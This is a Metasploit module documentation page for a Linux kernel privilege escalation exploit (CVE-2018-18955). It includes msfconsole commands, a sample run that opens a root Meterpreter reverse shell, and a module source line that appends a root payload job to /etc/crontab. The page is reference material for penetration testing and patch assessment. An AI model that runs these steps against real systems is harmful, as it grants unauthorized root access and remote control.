Linux Nested User Namespace idmap Limit Local Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/nested_namespace_idmap_limit_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Linux Nested User Namespace idmap Limit Local Privilege Escalation
Module: exploit/linux/local/nested_namespace_idmap_limit_priv_esc
Source code: modules/exploits/linux/local/nested_namespace_idmap_limit_priv_esc.rb
Disclosure date: 2018-11-15
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-18955
This module is also known as subuid_shell.c.
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user namespaces and kernel uid/gid mappings allow elevation to root (CVE-2018-18955). The target system must have unprivileged user namespaces enabled and the newuidmap and newgidmap helpers installed (from uidmap package). This module has been tested successfully on: Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64; Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64); Linux Mint 19 kernel 4.15.0-20-generic (x86_64); Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
msf exploit(nested_namespace_idmap_limit_priv_esc) > show targets
... a list of targets ...
msf exploit(nested_namespace_idmap_limit_priv_esc) > set TARGET target-id
msf exploit(nested_namespace_idmap_limit_priv_esc) > show options
... show and set options ...
msf exploit(nested_namespace_idmap_limit_priv_esc) > set SESSION session-id
msf exploit(nested_namespace_idmap_limit_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user namespaces and kernel uid/gid mappings allow elevation to root (CVE-2018-18955).
The target system must have unprivileged user namespaces enabled and the newuidmap and newgidmap helpers installed (from uidmap package).
Vulnerable Application
This module has been tested successfully on:
- Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64
- Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64)
- Linux Mint 19 kernel 4.15.0-20-generic (x86_64)
- Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64)
Verification Steps
- Start
msfconsole
- Get a session
use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
set SESSION <SESSION>
check
run
- You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
WritableDir
A writable directory file system path. (default: /tmp
)
COMPILE
Options: Auto
True
False
(default: Auto
)
Whether the exploit should be live compiled with gcc
on the target system,
or uploaded as a pre-compiled binary.
Auto
will first determine if gcc
is installed to compile live on the system,
and fall back to uploading pre-compiled binaries.
Compiled Executables
The module makes use of two pre-compiled exploit executables:
subuid_shell
subshell
These are used when gcc
is not available on the target host for live compiling,
or COMPILE
is set to False
.
The executables were cross-compiled with musl-cross.
./i486-linux-musl-gcc -o subshell.out -s -pie -static subshell.c
./i486-linux-musl-gcc -o subuid_shell.out -s -pie -static subuid_shell.c
Scenarios
Fedora Workstation 28 (verbose output)
msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check
[+] Unprivileged user namespaces are permitted
[+] /usr/bin/newuidmap is set-uid
[+] /usr/bin/newgidmap is set-uid
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[+] Unprivileged user namespaces are permitted
[+] /usr/bin/newuidmap is set-uid
[+] /usr/bin/newgidmap is set-uid
[+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.LOren.c' (6058 bytes) ...
[*] Writing '/tmp/.C9dWgG.c' (1604 bytes) ...
[*] Writing '/tmp/.6syapMd72' (367 bytes) ...
[*] Adding cron job...
[*] [.] starting
[*] [.] setting up namespace
[*] [~] done, namespace sandbox set up
[*] [.] mapping subordinate ids
[*] [.] subuid: 100000
[*] [.] subgid: 100000
[*] [~] done, mapped subordinate ids
[*] [.] executing subshell
[+] Success. Waiting for job to run (may take a minute)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.16.191.137
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.137:39150) at 2018-11-24 19:28:02 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 28 (Linux 4.16.3-301.fc28.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/nested_namespace_idmap_limit_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show info
Name: Linux Nested User Namespace idmap Limit Local Privilege Escalation
Module: exploit/linux/local/nested_namespace_idmap_limit_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2018-11-15
Provided by:
Jann Horn
bcoles <[email protected]>
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Auto
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a vulnerability in Linux kernels 4.15.0 to
4.18.18, and 4.19.0 to 4.19.1, where broken uid/gid mappings between
nested user namespaces and kernel uid/gid mappings allow elevation
to root (CVE-2018-18955). The target system must have unprivileged
user namespaces enabled and the newuidmap and newgidmap helpers
installed (from uidmap package). This module has been tested
successfully on: Fedora Workstation 28 kernel
4.16.3-301.fc28.x86_64; Kubuntu 18.04 LTS kernel 4.15.0-20-generic
(x86_64); Linux Mint 19 kernel 4.15.0-20-generic (x86_64); Ubuntu
Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64).
References:
http://www.securityfocus.com/bid/105941
https://nvd.nist.gov/vuln/detail/CVE-2018-18955
https://www.exploit-db.com/exploits/45886
https://packetstormsecurity.com/files/150381
https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955
https://lwn.net/Articles/532593/
https://bugs.launchpad.net/bugs/1801924
https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955
https://security-tracker.debian.org/tracker/CVE-2018-18955
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2
Also known as:
subuid_shell.c
Module Options
This is a complete list of options available in the linux/local/nested_namespace_idmap_limit_priv_esc exploit:
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show options
Module options (exploit/linux/local/nested_namespace_idmap_limit_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the linux/local/nested_namespace_idmap_limit_priv_esc exploit:
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show advanced
Module advanced options (exploit/linux/local/nested_namespace_idmap_limit_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 60 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit true no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid true no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid true no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid true no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/nested_namespace_idmap_limit_priv_esc module can exploit:
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/nested_namespace_idmap_limit_priv_esc exploit:
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/nested_namespace_idmap_limit_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable.
- gcc is not installed. Compiling will fail.
- <PATH> is not set-uid
- Kernel version <RELEASE> is not vulnerable
- Could not retrieve kernel config
- Kernel config does not include CONFIG_USER_NS
- Unprivileged user namespaces are not permitted
- Session already has root privileges. Set ForceExploit to override.
- <BASE_DIR> is not writable
- Failed to add cronjob
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable.
Here is a relevant code snippet related to the "<PATH>.c failed to compile. Set COMPILE False to upload a pre-compiled executable." error message:
111: end
112: output = cmd_exec gcc_cmd
113:
114: unless output.blank?
115: print_error output
116: fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
117: end
118:
119: register_file_for_cleanup path
120: chmod path, 0755
121: end
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
135: vprint_good 'gcc is installed'
136: return true
137: end
138:
139: unless datastore['COMPILE'].eql? 'Auto'
140: fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
141: end
142: end
143:
144: def check
145: ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
<PATH> is not set-uid
Here is a relevant code snippet related to the "<PATH> is not set-uid" error message:
142: end
143:
144: def check
145: ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path|
146: unless setuid? path
147: vprint_error "#{path} is not set-uid"
148: return CheckCode::Safe
149: end
150: vprint_good "#{path} is set-uid"
151: end
152:
Kernel version <RELEASE> is not vulnerable
Here is a relevant code snippet related to the "Kernel version <RELEASE> is not vulnerable" error message:
154: release = kernel_release
155: v = Rex::Version.new release.split('-').first
156: if v < Rex::Version.new('4.15') ||
157: v >= Rex::Version.new('4.19.2') ||
158: (v >= Rex::Version.new('4.18.19') && v < Rex::Version.new('4.19'))
159: vprint_error "Kernel version #{release} is not vulnerable"
160: return CheckCode::Safe
161: end
162: vprint_good "Kernel version #{release} appears to be vulnerable"
163:
164: config = kernel_config
Could not retrieve kernel config
Here is a relevant code snippet related to the "Could not retrieve kernel config" error message:
161: end
162: vprint_good "Kernel version #{release} appears to be vulnerable"
163:
164: config = kernel_config
165: if config.nil?
166: vprint_error 'Could not retrieve kernel config'
167: return CheckCode::Unknown
168: end
169:
170: unless config.include? 'CONFIG_USER_NS=y'
171: vprint_error 'Kernel config does not include CONFIG_USER_NS'
Kernel config does not include CONFIG_USER_NS
Here is a relevant code snippet related to the "Kernel config does not include CONFIG_USER_NS" error message:
166: vprint_error 'Could not retrieve kernel config'
167: return CheckCode::Unknown
168: end
169:
170: unless config.include? 'CONFIG_USER_NS=y'
171: vprint_error 'Kernel config does not include CONFIG_USER_NS'
172: return CheckCode::Safe
173: end
174: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
175:
176: unless userns_enabled?
Unprivileged user namespaces are not permitted
Here is a relevant code snippet related to the "Unprivileged user namespaces are not permitted" error message:
172: return CheckCode::Safe
173: end
174: vprint_good 'Kernel config has CONFIG_USER_NS enabled'
175:
176: unless userns_enabled?
177: vprint_error 'Unprivileged user namespaces are not permitted'
178: return CheckCode::Safe
179: end
180: vprint_good 'Unprivileged user namespaces are permitted'
181:
182: CheckCode::Appears
Session already has root privileges. Set ForceExploit to override.
Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:
194: end
195:
196: def exploit
197: if is_root?
198: unless datastore['ForceExploit']
199: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
200: end
201: end
202:
203: unless writable? base_dir
204: fail_with Failure::BadConfig, "#{base_dir} is not writable"
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
199: fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
200: end
201: end
202:
203: unless writable? base_dir
204: fail_with Failure::BadConfig, "#{base_dir} is not writable"
205: end
206:
207: # Upload executables
208: subuid_shell_name = ".#{rand_text_alphanumeric 5..10}"
209: subuid_shell_path = "#{base_dir}/#{subuid_shell_name}"
Failed to add cronjob
Here is a relevant code snippet related to the "Failed to add cronjob" error message:
228: output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} "
229: output.each_line { |line| vprint_status line.chomp }
230:
231: crontab = read_file '/etc/crontab'
232: unless crontab.include? payload_path
233: fail_with Failure::Unknown, 'Failed to add cronjob'
234: end
235:
236: print_good 'Success. Waiting for job to run (may take a minute)...'
237: end
238: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- BID-105941
- CVE-2018-18955
- EDB-45886
- PACKETSTORM-150381
- https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
- https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955
- https://lwn.net/Articles/532593/
- https://bugs.launchpad.net/bugs/1801924
- https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955
- https://security-tracker.debian.org/tracker/CVE-2018-18955
- https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd
- https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19
- https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2
See Also
Check also the following modules related to this module:
- exploit/multi/http/atlassian_confluence_namespace_ognl_injection
- exploit/multi/http/struts2_namespace_ognl
Related Nessus plugins:
- Ubuntu 18.10 : Linux kernel (AWS) vulnerabilities (USN-3832-1)
- Ubuntu 18.04 LTS : Linux kernel (AWS) vulnerabilities (USN-3833-1)
- Ubuntu 18.10 : linux, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities (USN-3835-1)
- Ubuntu 18.04 LTS : linux, linux-gcp, linux-kvm, linux-raspi2 vulnerabilities (USN-3836-1)
- Ubuntu 16.04 LTS : linux-hwe, linux-gcp vulnerabilities (USN-3836-2)
Authors
- Jann Horn
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.